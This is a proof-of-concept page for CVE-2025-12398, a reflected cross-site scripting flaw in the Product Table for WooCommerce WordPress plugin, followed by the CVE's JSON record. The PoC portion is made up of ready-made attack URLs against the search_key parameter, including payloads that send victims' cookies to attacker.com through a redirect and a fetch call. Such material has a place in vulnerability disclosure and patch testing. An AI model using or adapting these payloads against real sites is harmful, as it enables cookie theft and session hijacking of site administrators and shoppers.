CVE-2025-12398

<!-- CVE-2025-12398 PoC - Reflected XSS in Product Table for WooCommerce --> <!-- Target: WordPress site with Product Table for WooCommerce plugin <= 5.0.8 --> <!-- Attack Vector: Malicious URL with XSS payload in search_key parameter --> <!-- PoC URL ( victim's browser will execute the injected JS) --> https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%3Cimg%20src=x%20onerror=alert(document.domain)%3E <!-- More advanced payload for cookie stealing --> https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%3Cscript%3Edocument.location='https://attacker.com/steal?c='+document.cookie%3C/script%3E <!-- HTML encoded version --> https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%22%3E%3Csvg/onload=fetch(%27https://attacker.com/log?data=%27%2BencodeURIComponent(document.cookie))%3E

{"cve": {"id": "CVE-2025-12398", "sourceIdentifier": "[email protected]", "published": "2025-12-21T04:16:03.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Product Table for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'search_key' parameter in all versions up to, and including, 5.0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3420662%40woo-product-table&new=3420662%40woo-product-table&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/35790e70-6e96-4ffe-9d4e-828dd649e8c0?source=cve", "source": "[email protected]"}]}}